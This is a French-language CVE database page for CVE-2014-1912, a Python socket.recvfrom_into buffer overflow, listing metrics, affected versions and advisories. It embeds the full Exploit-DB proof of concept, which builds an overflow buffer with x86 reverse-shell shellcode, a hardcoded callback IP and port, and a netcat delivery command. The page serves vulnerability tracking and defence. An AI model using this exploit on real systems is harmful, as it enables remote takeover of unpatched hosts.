CVE-2014-1912 : Détail

CVE-2014-1912

Overflow
38.99%V3
Network
2014-02-28
17h00 +00:00
2018-01-04
18h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Buffer overflow in the socket.recvfrom_into function in Modules/socketmodule.c in Python 2.5 before 2.7.7, 3.x before 3.3.4, and 3.4.x before 3.4rc1 allows remote attackers to execute arbitrary code via a crafted string.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 31875

Date de publication : 2014-02-23 23h00 +00:00
Auteur : Sha0
EDB Vérifié : No

#!/usr/bin/env python ''' # Exploit Title: python socket.recvfrom_into() remote buffer overflow # Date: 21/02/2014 # Exploit Author: @sha0coder # Vendor Homepage: python.org # Version: python2.7 and python3 # Tested on: linux 32bit + python2.7 # CVE : CVE-2014-1912 socket.recvfrom_into() remote buffer overflow Proof of concept by @sha0coder TODO: rop to evade stack nx (gdb) x/i $eip => 0x817bb28: mov eax,DWORD PTR [ebx+0x4] <--- ebx full control => eax full conrol 0x817bb2b: test BYTE PTR [eax+0x55],0x40 0x817bb2f: jne 0x817bb38 --> ... 0x817bb38: mov eax,DWORD PTR [eax+0xa4] <--- eax full control again 0x817bb3e: test eax,eax 0x817bb40: jne 0x817bb58 --> ... 0x817bb58: mov DWORD PTR [esp],ebx 0x817bb5b: call eax <--------------------- indirect fucktion call ;) $ ./pyrecvfrominto.py egg file generated $ cat egg | nc -l 8080 -vv ... when client connects ... or wen we send the evil buffer to the server ... 0x0838591c in ?? () 1: x/5i $eip => 0x838591c: int3 <--------- LANDED!!!!! 0x838591d: xor eax,eax 0x838591f: xor ebx,ebx 0x8385921: xor ecx,ecx 0x8385923: xor edx,edx ''' import struct def off(o): return struct.pack('L',o) reverseIP = '\xc0\xa8\x04\x34' #'\xc0\xa8\x01\x0a' reversePort = '\x7a\x69' #shellcode from exploit-db.com, (remove the sigtrap) shellcode = "\xcc\x31\xc0\x31\xdb\x31\xc9\x31\xd2"\ "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"\ "\x01\x6a\x02\x89\xe1\xcd\x80\x89"\ "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"+\ reverseIP+"\x66\x68"+reversePort+"\x66\x53\xfe"\ "\xc3\x89\xe1\x6a\x10\x51\x56\x89"\ "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"\ "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"\ "\xc0\x52\x68\x6e\x2f\x73\x68\x68"\ "\x2f\x2f\x62\x69\x89\xe3\x52\x53"\ "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"\ "\x80" shellcode_sz = len(shellcode) print 'shellcode sz %d' % shellcode_sz ebx = 0x08385908 sc_off = 0x08385908+20 padd = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM' ''' +------------+----------------------+ +--------------------+ | | | | | V | | V | ''' buff = 'aaaa' + off(ebx) + 'aaaaaAAA'+ off(ebx) + shellcode + padd + off(sc_off) # .. and landed ;) print 'buff sz: %s' % len(buff) open('egg','w').write(buff)

Products Mentioned

Configuraton 0

Python>>Python >> Version 2.5.1

Python>>Python >> Version 2.5.2

Python>>Python >> Version 2.5.3

Python>>Python >> Version 2.5.4

Python>>Python >> Version 2.5.6

Python>>Python >> Version 2.5.150

Python>>Python >> Version 2.6.1

Python>>Python >> Version 2.6.2

Python>>Python >> Version 2.6.3

Python>>Python >> Version 2.6.4

Python>>Python >> Version 2.6.5

Python>>Python >> Version 2.6.6

Python>>Python >> Version 2.6.7

Python>>Python >> Version 2.6.8

Python>>Python >> Version 2.6.2150

Python>>Python >> Version 2.6.6150

Python>>Python >> Version 2.7.1

Python>>Python >> Version 2.7.1

Python>>Python >> Version 2.7.2

Python>>Python >> Version 2.7.3

Python>>Python >> Version 2.7.4

Python>>Python >> Version 2.7.5

Python>>Python >> Version 2.7.6

Python>>Python >> Version 2.7.1150

Python>>Python >> Version 2.7.1150

Python>>Python >> Version 2.7.2150

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.10.4

Configuraton 0

Python>>Python >> Version 3.0

Python>>Python >> Version 3.0.1

Python>>Python >> Version 3.1

Python>>Python >> Version 3.1.1

Python>>Python >> Version 3.1.2

Python>>Python >> Version 3.1.3

Python>>Python >> Version 3.1.4

Python>>Python >> Version 3.1.5

Python>>Python >> Version 3.1.2150

Python>>Python >> Version 3.2

Python>>Python >> Version 3.2

Python>>Python >> Version 3.2.0

Python>>Python >> Version 3.2.1

Python>>Python >> Version 3.2.2

Python>>Python >> Version 3.2.3

Python>>Python >> Version 3.2.4

Python>>Python >> Version 3.2.5

Python>>Python >> Version 3.2.2150

Python>>Python >> Version 3.3

Python>>Python >> Version 3.3

Python>>Python >> Version 3.3.0

Python>>Python >> Version 3.3.1

Python>>Python >> Version 3.3.2

Python>>Python >> Version 3.3.3

Python>>Python >> Version 3.4

Références

http://rhn.redhat.com/errata/RHSA-2015-1064.html
Tags : vendor-advisory, x_refsource_REDHAT
http://bugs.python.org/issue20246
Tags : x_refsource_CONFIRM
http://www.debian.org/security/2014/dsa-2880
Tags : vendor-advisory, x_refsource_DEBIAN
https://security.gentoo.org/glsa/201503-10
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securityfocus.com/bid/65379
Tags : vdb-entry, x_refsource_BID
http://www.openwall.com/lists/oss-security/2014/02/12/16
Tags : mailing-list, x_refsource_MLIST
http://rhn.redhat.com/errata/RHSA-2015-1330.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.exploit-db.com/exploits/31875
Tags : exploit, x_refsource_EXPLOIT-DB
https://support.apple.com/kb/HT205031
Tags : x_refsource_CONFIRM
http://www.ubuntu.com/usn/USN-2125-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.securitytracker.com/id/1029831
Tags : vdb-entry, x_refsource_SECTRACK